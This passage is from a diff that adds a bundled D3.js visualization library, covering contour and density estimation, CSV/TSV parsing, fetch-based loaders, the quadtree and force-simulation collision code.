-contains; + } + return contains; +} + +function segmentContains(a, b, c) { + var i; return collinear(a, b, c) && within(a[i = +(a[0] === b[0])], c[i], b[i]); +} + +function collinear(a, b, c) { + return (b[0] - a[0]) * (c[1] - a[1]) === (c[0] - a[0]) * (b[1] - a[1]); +} + +function within(p, q, r) { + return p <= q && q <= r || r <= q && q <= p; +} + +function noop$1() {} + +var cases = [ + [], + [[[1.0, 1.5], [0.5, 1.0]]], + [[[1.5, 1.0], [1.0, 1.5]]], + [[[1.5, 1.0], [0.5, 1.0]]], + [[[1.0, 0.5], [1.5, 1.0]]], + [[[1.0, 1.5], [0.5, 1.0]], [[1.0, 0.5], [1.5, 1.0]]], + [[[1.0, 0.5], [1.0, 1.5]]], + [[[1.0, 0.5], [0.5, 1.0]]], + [[[0.5, 1.0], [1.0, 0.5]]], + [[[1.0, 1.5], [1.0, 0.5]]], + [[[0.5, 1.0], [1.0, 0.5]], [[1.5, 1.0], [1.0, 1.5]]], + [[[1.5, 1.0], [1.0, 0.5]]], + [[[0.5, 1.0], [1.5, 1.0]]], + [[[1.0, 1.5], [1.5, 1.0]]], + [[[0.5, 1.0], [1.0, 1.5]]], + [] +]; + +function contours() { + var dx = 1, + dy = 1, + threshold = thresholdSturges, + smooth = smoothLinear; + + function contours(values) { + var tz = threshold(values); + + // Convert number of thresholds into uniform thresholds. + if (!Array.isArray(tz)) { + var domain = extent(values), start = domain[0], stop = domain[1]; + tz = tickStep(start, stop, tz); + tz = sequence(Math.floor(start / tz) * tz, Math.floor(stop / tz) * tz, tz); + } else { + tz = tz.slice().sort(ascending$2); + } + + return tz.map(function(value) { + return contour(values, value); + }); + } + + // Accumulate, smooth contour rings, assign holes to exterior rings. + // Based on https://github.com/mbostock/shapefile/blob/v0.6.2/shp/polygon.js + function contour(values, value) { + var polygons = [], + holes = []; + + isorings(values, value, function(ring) { + smooth(ring, values, value); + if (area(ring) > 0) polygons.push([ring]); + else holes.push(ring); + }); + + holes.forEach(function(hole) { + for (var i = 0, n = polygons.length, polygon; i < n; ++i) { + if (contains((polygon = polygons[i])[0], hole) !== -1) { + polygon.push(hole); + return; + } + } + }); + + return { + type: "MultiPolygon", + value: value, + coordinates: polygons + }; + } + + // Marching squares with isolines stitched into rings. + // Based on https://github.com/topojson/topojson-client/blob/v3.0.0/src/stitch.js + function isorings(values, value, callback) { + var fragmentByStart = new Array, + fragmentByEnd = new Array, + x, y, t0, t1, t2, t3; + + // Special case for the first row (y = -1, t2 = t3 = 0). + x = y = -1; + t1 = values[0] >= value; + cases[t1 << 1].forEach(stitch); + while (++x < dx - 1) { + t0 = t1, t1 = values[x + 1] >= value; + cases[t0 | t1 << 1].forEach(stitch); + } + cases[t1 << 0].forEach(stitch); + + // General case for the intermediate rows. + while (++y < dy - 1) { + x = -1; + t1 = values[y * dx + dx] >= value; + t2 = values[y * dx] >= value; + cases[t1 << 1 | t2 << 2].forEach(stitch); + while (++x < dx - 1) { + t0 = t1, t1 = values[y * dx + dx + x + 1] >= value; + t3 = t2, t2 = values[y * dx + x + 1] >= value; + cases[t0 | t1 << 1 | t2 << 2 | t3 << 3].forEach(stitch); + } + cases[t1 | t2 << 3].forEach(stitch); + } + + // Special case for the last row (y = dy - 1, t0 = t1 = 0). + x = -1; + t2 = values[y * dx] >= value; + cases[t2 << 2].forEach(stitch); + while (++x < dx - 1) { + t3 = t2, t2 = values[y * dx + x + 1] >= value; + cases[t2 << 2 | t3 << 3].forEach(stitch); + } + cases[t2 << 3].forEach(stitch); + + function stitch(line) { + var start = [line[0][0] + x, line[0][1] + y], + end = [line[1][0] + x, line[1][1] + y], + startIndex = index(start), + endIndex = index(end), + f, g; + if (f = fragmentByEnd[startIndex]) { + if (g = fragmentByStart[endIndex]) { + delete fragmentByEnd[f.end]; + delete fragmentByStart[g.start]; + if (f === g) { + f.ring.push(end); + callback(f.ring); + } else { + fragmentByStart[f.start] = fragmentByEnd[g.end] = {start: f.start, end: g.end, ring: f.ring.concat(g.ring)}; + } + } else { + delete fragmentByEnd[f.end]; + f.ring.push(end); + fragmentByEnd[f.end = endIndex] = f; + } + } else if (f = fragmentByStart[endIndex]) { + if (g = fragmentByEnd[startIndex]) { + delete fragmentByStart[f.start]; + delete fragmentByEnd[g.end]; + if (f === g) { + f.ring.push(end); + callback(f.ring); + } else { + fragmentByStart[g.start] = fragmentByEnd[f.end] = {start: g.start, end: f.end, ring: g.ring.concat(f.ring)}; + } + } else { + delete fragmentByStart[f.start]; + f.ring.unshift(start); + fragmentByStart[f.start = startIndex] = f; + } + } else { + fragmentByStart[startIndex] = fragmentByEnd[endIndex] = {start: startIndex, end: endIndex, ring: [start, end]}; + } + } + } + + function index(point) { + return point[0] * 2 + point[1] * (dx + 1) * 4; + } + + function smoothLinear(ring, values, value) { + ring.forEach(function(point) { + var x = point[0], + y = point[1], + xt = x | 0, + yt = y | 0, + v0, + v1 = values[yt * dx + xt]; + if (x > 0 && x < dx && xt === x) { + v0 = values[yt * dx + xt - 1]; + point[0] = x + (value - v0) / (v1 - v0) - 0.5; + } + if (y > 0 && y < dy && yt === y) { + v0 = values[(yt - 1) * dx + xt]; + point[1] = y + (value - v0) / (v1 - v0) - 0.5; + } + }); + } + + contours.contour = contour; + + contours.size = function(_) { + if (!arguments.length) return [dx, dy]; + var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]); + if (!(_0 > 0) || !(_1 > 0)) throw new Error("invalid size"); + return dx = _0, dy = _1, contours; + }; + + contours.thresholds = function(_) { + return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant$6(slice$3.call(_)) : constant$6(_), contours) : threshold; + }; + + contours.smooth = function(_) { + return arguments.length ? (smooth = _ ? smoothLinear : noop$1, contours) : smooth === smoothLinear; + }; + + return contours; +} + +// TODO Optimize edge cases. +// TODO Optimize index calculation. +// TODO Optimize arguments. +function blurX(source, target, r) { + var n = source.width, + m = source.height, + w = (r << 1) + 1; + for (var j = 0; j < m; ++j) { + for (var i = 0, sr = 0; i < n + r; ++i) { + if (i < n) { + sr += source.data[i + j * n]; + } + if (i >= r) { + if (i >= w) { + sr -= source.data[i - w + j * n]; + } + target.data[i - r + j * n] = sr / Math.min(i + 1, n - 1 + w - i, w); + } + } + } +} + +// TODO Optimize edge cases. +// TODO Optimize index calculation. +// TODO Optimize arguments. +function blurY(source, target, r) { + var n = source.width, + m = source.height, + w = (r << 1) + 1; + for (var i = 0; i < n; ++i) { + for (var j = 0, sr = 0; j < m + r; ++j) { + if (j < m) { + sr += source.data[i + j * n]; + } + if (j >= r) { + if (j >= w) { + sr -= source.data[i + (j - w) * n]; + } + target.data[i + (j - r) * n] = sr / Math.min(j + 1, m - 1 + w - j, w); + } + } + } +} + +function defaultX(d) { + return d[0]; +} + +function defaultY(d) { + return d[1]; +} + +function defaultWeight() { + return 1; +} + +function density() { + var x = defaultX, + y = defaultY, + weight = defaultWeight, + dx = 960, + dy = 500, + r = 20, // blur radius + k = 2, // log2(grid cell size) + o = r * 3, // grid offset, to pad for blur + n = (dx + o * 2) >> k, // grid width + m = (dy + o * 2) >> k, // grid height + threshold = constant$6(20); + + function density(data) { + var values0 = new Float32Array(n * m), + values1 = new Float32Array(n * m); + + data.forEach(function(d, i, data) { + var xi = (+x(d, i, data) + o) >> k, + yi = (+y(d, i, data) + o) >> k, + wi = +weight(d, i, data); + if (xi >= 0 && xi < n && yi >= 0 && yi < m) { + values0[xi + yi * n] += wi; + } + }); + + // TODO Optimize. + blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k); + blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k); + blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k); + blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k); + blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k); + blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k); + + var tz = threshold(values0); + + // Convert number of thresholds into uniform thresholds. + if (!Array.isArray(tz)) { + var stop = max(values0); + tz = tickStep(0, stop, tz); + tz = sequence(0, Math.floor(stop / tz) * tz, tz); + tz.shift(); + } + + return contours() + .thresholds(tz) + .size([n, m]) + (values0) + .map(transform); + } + + function transform(geometry) { + geometry.value *= Math.pow(2, -2 * k); // Density in points per square pixel. + geometry.coordinates.forEach(transformPolygon); + return geometry; + } + + function transformPolygon(coordinates) { + coordinates.forEach(transformRing); + } + + function transformRing(coordinates) { + coordinates.forEach(transformPoint); + } + + // TODO Optimize. + function transformPoint(coordinates) { + coordinates[0] = coordinates[0] * Math.pow(2, k) - o; + coordinates[1] = coordinates[1] * Math.pow(2, k) - o; + } + + function resize() { + o = r * 3; + n = (dx + o * 2) >> k; + m = (dy + o * 2) >> k; + return density; + } + + density.x = function(_) { + return arguments.length ? (x = typeof _ === "function" ? _ : constant$6(+_), density) : x; + }; + + density.y = function(_) { + return arguments.length ? (y = typeof _ === "function" ? _ : constant$6(+_), density) : y; + }; + + density.weight = function(_) { + return arguments.length ? (weight = typeof _ === "function" ? _ : constant$6(+_), density) : weight; + }; + + density.size = function(_) { + if (!arguments.length) return [dx, dy]; + var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]); + if (!(_0 >= 0) && !(_0 >= 0)) throw new Error("invalid size"); + return dx = _0, dy = _1, resize(); + }; + + density.cellSize = function(_) { + if (!arguments.length) return 1 << k; + if (!((_ = +_) >= 1)) throw new Error("invalid cell size"); + return k = Math.floor(Math.log(_) / Math.LN2), resize(); + }; + + density.thresholds = function(_) { + return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant$6(slice$3.call(_)) : constant$6(_), density) : threshold; + }; + + density.bandwidth = function(_) { + if (!arguments.length) return Math.sqrt(r * (r + 1)); + if (!((_ = +_) >= 0)) throw new Error("invalid bandwidth"); + return r = Math.round((Math.sqrt(4 * _ * _ + 1) - 1) / 2), resize(); + }; + + return density; +} + +var EOL = {}, + EOF = {}, + QUOTE = 34, + NEWLINE = 10, + RETURN = 13; + +function objectConverter(columns) { + return new Function("d", "return {" + columns.map(function(name, i) { + return JSON.stringify(name) + ": d[" + i + "] || \"\""; + }).join(",") + "}"); +} + +function customConverter(columns, f) { + var object = objectConverter(columns); + return function(row, i) { + return f(object(row), i, columns); + }; +} + +// Compute unique columns in order of discovery. +function inferColumns(rows) { + var columnSet = Object.create(null), + columns = []; + + rows.forEach(function(row) { + for (var column in row) { + if (!(column in columnSet)) { + columns.push(columnSet[column] = column); + } + } + }); + + return columns; +} + +function pad(value, width) { + var s = value + "", length = s.length; + return length < width ? new Array(width - length + 1).join(0) + s : s; +} + +function formatYear(year) { + return year < 0 ? "-" + pad(-year, 6) + : year > 9999 ? "+" + pad(year, 6) + : pad(year, 4); +} + +function formatDate(date) { + var hours = date.getUTCHours(), + minutes = date.getUTCMinutes(), + seconds = date.getUTCSeconds(), + milliseconds = date.getUTCMilliseconds(); + return isNaN(date) ? "Invalid Date" + : formatYear(date.getUTCFullYear()) + "-" + pad(date.getUTCMonth() + 1, 2) + "-" + pad(date.getUTCDate(), 2) + + (milliseconds ? "T" + pad(hours, 2) + ":" + pad(minutes, 2) + ":" + pad(seconds, 2) + "." + pad(milliseconds, 3) + "Z" + : seconds ? "T" + pad(hours, 2) + ":" + pad(minutes, 2) + ":" + pad(seconds, 2) + "Z" + : minutes || hours ? "T" + pad(hours, 2) + ":" + pad(minutes, 2) + "Z" + : ""); +} + +function dsvFormat(delimiter) { + var reFormat = new RegExp("[\"" + delimiter + "\n\r]"), + DELIMITER = delimiter.charCodeAt(0); + + function parse(text, f) { + var convert, columns, rows = parseRows(text, function(row, i) { + if (convert) return convert(row, i - 1); + columns = row, convert = f ? customConverter(row, f) : objectConverter(row); + }); + rows.columns = columns || []; + return rows; + } + + function parseRows(text, f) { + var rows = [], // output rows + N = text.length, + I = 0, // current character index + n = 0, // current line number + t, // current token + eof = N <= 0, // current token followed by EOF? + eol = false; // current token followed by EOL? + + // Strip the trailing newline. + if (text.charCodeAt(N - 1) === NEWLINE) --N; + if (text.charCodeAt(N - 1) === RETURN) --N; + + function token() { + if (eof) return EOF; + if (eol) return eol = false, EOL; + + // Unescape quotes. + var i, j = I, c; + if (text.charCodeAt(j) === QUOTE) { + while (I++ < N && text.charCodeAt(I) !== QUOTE || text.charCodeAt(++I) === QUOTE); + if ((i = I) >= N) eof = true; + else if ((c = text.charCodeAt(I++)) === NEWLINE) eol = true; + else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; } + return text.slice(j + 1, i - 1).replace(/""/g, "\""); + } + + // Find next delimiter or newline. + while (I < N) { + if ((c = text.charCodeAt(i = I++)) === NEWLINE) eol = true; + else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; } + else if (c !== DELIMITER) continue; + return text.slice(j, i); + } + + // Return last token before EOF. + return eof = true, text.slice(j, N); + } + + while ((t = token()) !== EOF) { + var row = []; + while (t !== EOL && t !== EOF) row.push(t), t = token(); + if (f && (row = f(row, n++)) == null) continue; + rows.push(row); + } + + return rows; + } + + function preformatBody(rows, columns) { + return rows.map(function(row) { + return columns.map(function(column) { + return formatValue(row[column]); + }).join(delimiter); + }); + } + + function format(rows, columns) { + if (columns == null) columns = inferColumns(rows); + return [columns.map(formatValue).join(delimiter)].concat(preformatBody(rows, columns)).join("\n"); + } + + function formatBody(rows, columns) { + if (columns == null) columns = inferColumns(rows); + return preformatBody(rows, columns).join("\n"); + } + + function formatRows(rows) { + return rows.map(formatRow).join("\n"); + } + + function formatRow(row) { + return row.map(formatValue).join(delimiter); + } + + function formatValue(value) { + return value == null ? "" + : value instanceof Date ? formatDate(value) + : reFormat.test(value += "") ? "\"" + value.replace(/"/g, "\"\"") + "\"" + : value; + } + + return { + parse: parse, + parseRows: parseRows, + format: format, + formatBody: formatBody, + formatRows: formatRows, + formatRow: formatRow, + formatValue: formatValue + }; +} + +var csv = dsvFormat(","); + +var csvParse = csv.parse; +var csvParseRows = csv.parseRows; +var csvFormat = csv.format; +var csvFormatBody = csv.formatBody; +var csvFormatRows = csv.formatRows; +var csvFormatRow = csv.formatRow; +var csvFormatValue = csv.formatValue; + +var tsv = dsvFormat("\t"); + +var tsvParse = tsv.parse; +var tsvParseRows = tsv.parseRows; +var tsvFormat = tsv.format; +var tsvFormatBody = tsv.formatBody; +var tsvFormatRows = tsv.formatRows; +var tsvFormatRow = tsv.formatRow; +var tsvFormatValue = tsv.formatValue; + +function autoType(object) { + for (var key in object) { + var value = object[key].trim(), number, m; + if (!value) value = null; + else if (value === "true") value = true; + else if (value === "false") value = false; + else if (value === "NaN") value = NaN; + else if (!isNaN(number = +value)) value = number; + else if (m = value.match(/^([-+]\d{2})?\d{4}(-\d{2}(-\d{2})?)?(T\d{2}:\d{2}(:\d{2}(\.\d{3})?)?(Z|[-+]\d{2}:\d{2})?)?$/)) { + if (fixtz && !!m[4] && !m[7]) value = value.replace(/-/g, "/").replace(/T/, " "); + value = new Date(value); + } + else continue; + object[key] = value; + } + return object; +} + +// https://github.com/d3/d3-dsv/issues/45 +var fixtz = new Date("2019-01-01T00:00").getHours() || new Date("2019-07-01T00:00").getHours(); + +function responseBlob(response) { + if (!response.ok) throw new Error(response.status + " " + response.statusText); + return response.blob(); +} + +function blob(input, init) { + return fetch(input, init).then(responseBlob); +} + +function responseArrayBuffer(response) { + if (!response.ok) throw new Error(response.status + " " + response.statusText); + return response.arrayBuffer(); +} + +function buffer(input, init) { + return fetch(input, init).then(responseArrayBuffer); +} + +function responseText(response) { + if (!response.ok) throw new Error(response.status + " " + response.statusText); + return response.text(); +} + +function text(input, init) { + return fetch(input, init).then(responseText); +} + +function dsvParse(parse) { + return function(input, init, row) { + if (arguments.length === 2 && typeof init === "function") row = init, init = undefined; + return text(input, init).then(function(response) { + return parse(response, row); + }); + }; +} + +function dsv(delimiter, input, init, row) { + if (arguments.length === 3 && typeof init === "function") row = init, init = undefined; + var format = dsvFormat(delimiter); + return text(input, init).then(function(response) { + return format.parse(response, row); + }); +} + +var csv$1 = dsvParse(csvParse); +var tsv$1 = dsvParse(tsvParse); + +function image(input, init) { + return new Promise(function(resolve, reject) { + var image = new Image; + for (var key in init) image[key] = init[key]; + image.onerror = reject; + image.onload = function() { resolve(image); }; + image.src = input; + }); +} + +function responseJson(response) { + if (!response.ok) throw new Error(response.status + " " + response.statusText); + return response.json(); +} + +function json(input, init) { + return fetch(input, init).then(responseJson); +} + +function parser(type) { + return function(input, init) { + return text(input, init).then(function(text) { + return (new DOMParser).parseFromString(text, type); + }); + }; +} + +var xml = parser("application/xml"); + +var html = parser("text/html"); + +var svg = parser("image/svg+xml"); + +function center$1(x, y) { + var nodes; + + if (x == null) x = 0; + if (y == null) y = 0; + + function force() { + var i, + n = nodes.length, + node, + sx = 0, + sy = 0; + + for (i = 0; i < n; ++i) { + node = nodes[i], sx += node.x, sy += node.y; + } + + for (sx = sx / n - x, sy = sy / n - y, i = 0; i < n; ++i) { + node = nodes[i], node.x -= sx, node.y -= sy; + } + } + + force.initialize = function(_) { + nodes = _; + }; + + force.x = function(_) { + return arguments.length ? (x = +_, force) : x; + }; + + force.y = function(_) { + return arguments.length ? (y = +_, force) : y; + }; + + return force; +} + +function constant$7(x) { + return function() { + return x; + }; +} + +function jiggle() { + return (Math.random() - 0.5) * 1e-6; +} + +function tree_add(d) { + var x = +this._x.call(null, d), + y = +this._y.call(null, d); + return add(this.cover(x, y), x, y, d); +} + +function add(tree, x, y, d) { + if (isNaN(x) || isNaN(y)) return tree; // ignore invalid points + + var parent, + node = tree._root, + leaf = {data: d}, + x0 = tree._x0, + y0 = tree._y0, + x1 = tree._x1, + y1 = tree._y1, + xm, + ym, + xp, + yp, + right, + bottom, + i, + j; + + // If the tree is empty, initialize the root as a leaf. + if (!node) return tree._root = leaf, tree; + + // Find the existing leaf for the new point, or add it. + while (node.length) { + if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; + if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; + if (parent = node, !(node = node[i = bottom << 1 | right])) return parent[i] = leaf, tree; + } + + // Is the new point is exactly coincident with the existing point? + xp = +tree._x.call(null, node.data); + yp = +tree._y.call(null, node.data); + if (x === xp && y === yp) return leaf.next = node, parent ? parent[i] = leaf : tree._root = leaf, tree; + + // Otherwise, split the leaf node until the old and new point are separated. + do { + parent = parent ? parent[i] = new Array(4) : tree._root = new Array(4); + if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; + if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; + } while ((i = bottom << 1 | right) === (j = (yp >= ym) << 1 | (xp >= xm))); + return parent[j] = node, parent[i] = leaf, tree; +} + +function addAll(data) { + var d, i, n = data.length, + x, + y, + xz = new Array(n), + yz = new Array(n), + x0 = Infinity, + y0 = Infinity, + x1 = -Infinity, + y1 = -Infinity; + + // Compute the points and their extent. + for (i = 0; i < n; ++i) { + if (isNaN(x = +this._x.call(null, d = data[i])) || isNaN(y = +this._y.call(null, d))) continue; + xz[i] = x; + yz[i] = y; + if (x < x0) x0 = x; + if (x > x1) x1 = x; + if (y < y0) y0 = y; + if (y > y1) y1 = y; + } + + // If there were no (valid) points, abort. + if (x0 > x1 || y0 > y1) return this; + + // Expand the tree to cover the new points. + this.cover(x0, y0).cover(x1, y1); + + // Add the new points. + for (i = 0; i < n; ++i) { + add(this, xz[i], yz[i], data[i]); + } + + return this; +} + +function tree_cover(x, y) { + if (isNaN(x = +x) || isNaN(y = +y)) return this; // ignore invalid points + + var x0 = this._x0, + y0 = this._y0, + x1 = this._x1, + y1 = this._y1; + + // If the quadtree has no extent, initialize them. + // Integer extent are necessary so that if we later double the extent, + // the existing quadrant boundaries don’t change due to floating point error! + if (isNaN(x0)) { + x1 = (x0 = Math.floor(x)) + 1; + y1 = (y0 = Math.floor(y)) + 1; + } + + // Otherwise, double repeatedly to cover. + else { + var z = x1 - x0, + node = this._root, + parent, + i; + + while (x0 > x || x >= x1 || y0 > y || y >= y1) { + i = (y < y0) << 1 | (x < x0); + parent = new Array(4), parent[i] = node, node = parent, z *= 2; + switch (i) { + case 0: x1 = x0 + z, y1 = y0 + z; break; + case 1: x0 = x1 - z, y1 = y0 + z; break; + case 2: x1 = x0 + z, y0 = y1 - z; break; + case 3: x0 = x1 - z, y0 = y1 - z; break; + } + } + + if (this._root && this._root.length) this._root = node; + } + + this._x0 = x0; + this._y0 = y0; + this._x1 = x1; + this._y1 = y1; + return this; +} + +function tree_data() { + var data = []; + this.visit(function(node) { + if (!node.length) do data.push(node.data); while (node = node.next) + }); + return data; +} + +function tree_extent(_) { + return arguments.length + ? this.cover(+_[0][0], +_[0][1]).cover(+_[1][0], +_[1][1]) + : isNaN(this._x0) ? undefined : [[this._x0, this._y0], [this._x1, this._y1]]; +} + +function Quad(node, x0, y0, x1, y1) { + this.node = node; + this.x0 = x0; + this.y0 = y0; + this.x1 = x1; + this.y1 = y1; +} + +function tree_find(x, y, radius) { + var data, + x0 = this._x0, + y0 = this._y0, + x1, + y1, + x2, + y2, + x3 = this._x1, + y3 = this._y1, + quads = [], + node = this._root, + q, + i; + + if (node) quads.push(new Quad(node, x0, y0, x3, y3)); + if (radius == null) radius = Infinity; + else { + x0 = x - radius, y0 = y - radius; + x3 = x + radius, y3 = y + radius; + radius *= radius; + } + + while (q = quads.pop()) { + + // Stop searching if this quadrant can’t contain a closer node. + if (!(node = q.node) + || (x1 = q.x0) > x3 + || (y1 = q.y0) > y3 + || (x2 = q.x1) < x0 + || (y2 = q.y1) < y0) continue; + + // Bisect the current quadrant. + if (node.length) { + var xm = (x1 + x2) / 2, + ym = (y1 + y2) / 2; + + quads.push( + new Quad(node[3], xm, ym, x2, y2), + new Quad(node[2], x1, ym, xm, y2), + new Quad(node[1], xm, y1, x2, ym), + new Quad(node[0], x1, y1, xm, ym) + ); + + // Visit the closest quadrant first. + if (i = (y >= ym) << 1 | (x >= xm)) { + q = quads[quads.length - 1]; + quads[quads.length - 1] = quads[quads.length - 1 - i]; + quads[quads.length - 1 - i] = q; + } + } + + // Visit this point. (Visiting coincident points isn’t necessary!) + else { + var dx = x - +this._x.call(null, node.data), + dy = y - +this._y.call(null, node.data), + d2 = dx * dx + dy * dy; + if (d2 < radius) { + var d = Math.sqrt(radius = d2); + x0 = x - d, y0 = y - d; + x3 = x + d, y3 = y + d; + data = node.data; + } + } + } + + return data; +} + +function tree_remove(d) { + if (isNaN(x = +this._x.call(null, d)) || isNaN(y = +this._y.call(null, d))) return this; // ignore invalid points + + var parent, + node = this._root, + retainer, + previous, + next, + x0 = this._x0, + y0 = this._y0, + x1 = this._x1, + y1 = this._y1, + x, + y, + xm, + ym, + right, + bottom, + i, + j; + + // If the tree is empty, initialize the root as a leaf. + if (!node) return this; + + // Find the leaf node for the point. + // While descending, also retain the deepest parent with a non-removed sibling. + if (node.length) while (true) { + if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; + if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; + if (!(parent = node, node = node[i = bottom << 1 | right])) return this; + if (!node.length) break; + if (parent[(i + 1) & 3] || parent[(i + 2) & 3] || parent[(i + 3) & 3]) retainer = parent, j = i; + } + + // Find the point to remove. + while (node.data !== d) if (!(previous = node, node = node.next)) return this; + if (next = node.next) delete node.next; + + // If there are multiple coincident points, remove just the point. + if (previous) return (next ? previous.next = next : delete previous.next), this; + + // If this is the root point, remove it. + if (!parent) return this._root = next, this; + + // Remove this leaf. + next ? parent[i] = next : delete parent[i]; + + // If the parent now contains exactly one leaf, collapse superfluous parents. + if ((node = parent[0] || parent[1] || parent[2] || parent[3]) + && node === (parent[3] || parent[2] || parent[1] || parent[0]) + && !node.length) { + if (retainer) retainer[j] = node; + else this._root = node; + } + + return this; +} + +function removeAll(data) { + for (var i = 0, n = data.length; i < n; ++i) this.remove(data[i]); + return this; +} + +function tree_root() { + return this._root; +} + +function tree_size() { + var size = 0; + this.visit(function(node) { + if (!node.length) do ++size; while (node = node.next) + }); + return size; +} + +function tree_visit(callback) { + var quads = [], q, node = this._root, child, x0, y0, x1, y1; + if (node) quads.push(new Quad(node, this._x0, this._y0, this._x1, this._y1)); + while (q = quads.pop()) { + if (!callback(node = q.node, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1) && node.length) { + var xm = (x0 + x1) / 2, ym = (y0 + y1) / 2; + if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1)); + if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1)); + if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym)); + if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym)); + } + } + return this; +} + +function tree_visitAfter(callback) { + var quads = [], next = [], q; + if (this._root) quads.push(new Quad(this._root, this._x0, this._y0, this._x1, this._y1)); + while (q = quads.pop()) { + var node = q.node; + if (node.length) { + var child, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1, xm = (x0 + x1) / 2, ym = (y0 + y1) / 2; + if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym)); + if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym)); + if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1)); + if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1)); + } + next.push(q); + } + while (q = next.pop()) { + callback(q.node, q.x0, q.y0, q.x1, q.y1); + } + return this; +} + +function defaultX$1(d) { + return d[0]; +} + +function tree_x(_) { + return arguments.length ? (this._x = _, this) : this._x; +} + +function defaultY$1(d) { + return d[1]; +} + +function tree_y(_) { + return arguments.length ? (this._y = _, this) : this._y; +} + +function quadtree(nodes, x, y) { + var tree = new Quadtree(x == null ? defaultX$1 : x, y == null ? defaultY$1 : y, NaN, NaN, NaN, NaN); + return nodes == null ? tree : tree.addAll(nodes); +} + +function Quadtree(x, y, x0, y0, x1, y1) { + this._x = x; + this._y = y; + this._x0 = x0; + this._y0 = y0; + this._x1 = x1; + this._y1 = y1; + this._root = undefined; +} + +function leaf_copy(leaf) { + var copy = {data: leaf.data}, next = copy; + while (leaf = leaf.next) next = next.next = {data: leaf.data}; + return copy; +} + +var treeProto = quadtree.prototype = Quadtree.prototype; + +treeProto.copy = function() { + var copy = new Quadtree(this._x, this._y, this._x0, this._y0, this._x1, this._y1), + node = this._root, + nodes, + child; + + if (!node) return copy; + + if (!node.length) return copy._root = leaf_copy(node), copy; + + nodes = [{source: node, target: copy._root = new Array(4)}]; + while (node = nodes.pop()) { + for (var i = 0; i < 4; ++i) { + if (child = node.source[i]) { + if (child.length) nodes.push({source: child, target: node.target[i] = new Array(4)}); + else node.target[i] = leaf_copy(child); + } + } + } + + return copy; +}; + +treeProto.add = tree_add; +treeProto.addAll = addAll; +treeProto.cover = tree_cover; +treeProto.data = tree_data; +treeProto.extent = tree_extent; +treeProto.find = tree_find; +treeProto.remove = tree_remove; +treeProto.removeAll = removeAll; +treeProto.root = tree_root; +treeProto.size = tree_size; +treeProto.visit = tree_visit; +treeProto.visitAfter = tree_visitAfter; +treeProto.x = tree_x; +treeProto.y = tree_y; + +function x(d) { + return d.x + d.vx; +} + +function y(d) { + return d.y + d.vy; +} + +function collide(radius) { + var nodes, + radii, + strength = 1, + iterations = 1; + + if (typeof radius !== "function") radius = constant$7(radius == null ? 1 : +radius); + + function force() { + var i, n = nodes.length, + tree, + node, + xi, + yi, + ri, + ri2; + + for (var k = 0; k < iterations; ++k) { + tree = quadtree(nodes, x, y).visitAfter(prepare); + for (i = 0; i < n; ++i) { + node = nodes[i]; + ri = radii[node.index], ri2 = ri * ri; + xi = node.x + node.vx; + yi = node.y + node.vy; + tree.visit(apply); + } + } + + function apply(quad, x0, y0, x1, y1) { + var data = quad.data, rj = quad.r, r = ri + rj; + if (data) { + if (data.index > node.index) { + var x = xi - data.x - data.vx, + y = yi - data.y - data.vy, + l = x * x + y * y; + if (l < r * r) { + if (x === 0) x = jiggle(), l += x * x; + if (y === 0) y = jiggle(), l += y * y; + l = (r - (l = Math.sqrt(l))) / l * strength; + node.vx += (x *= l) * (r = (rj *= rj) / (ri2 + rj)); + node.vy += (y *= l) * r; + data.vx -= x * (r = 1 - r); + data.vy -= y * r; + } + } + return; + } + return x0 > xi + r || x1 < xi - r || y0 > yi + r || y1 < yi - r; + } + } + + function prepare(quad) { + if (quad.data) return quad.r = radii[quad.data.index]; + for (var i = quad.r = 0; i < 4; ++i) { + if (quad[i] && quad[i].r > quad.r) { + quad.r = quad[i].r; + } + } + } + + function initialize() { + if (!nodes) return; + var i, n = nodes.length, node; + radii = new Array(n); + for (i = 0; i < n; ++i) node = nodes[i], radii[node.index] = +radius(node, i, nodes); + } + + force.initialize = function(_) { + nodes = _; + initialize(); + }; + + force.iterations = function(_) { + return arguments.length ? (iterations = +_, force) : iterations; + }; + + force.strength = function(_) { + return arguments.length ? (strength = +_, force) : strength; + }; + + force.radius = function(_) { + return arguments.length ? (radius = typeof _ === "function" ? _ : constant$7(+_), initialize(), force) : radius; + }; + + return force; +} + +function index(d) { + return d.index; +} + +function find(nodeById, nodeId) { + var node = nodeById.get(nodeId); + if (!node) throw new Error("missing: " + nodeId); + return node; +} + +function link(links) { + var id = index, + strength = defaultStrength, + strengths, + distance = constant$7(30), + distances, + nodes, + count, + bias, + iterations = 1; + + if (links == null) links = []; + + function defaultStrength(link) { + return 1 / Math.min(count[link.source.index], count[link.target.index]); + } + + function force(alpha) { + for (var k = 0, n = links.length; k < 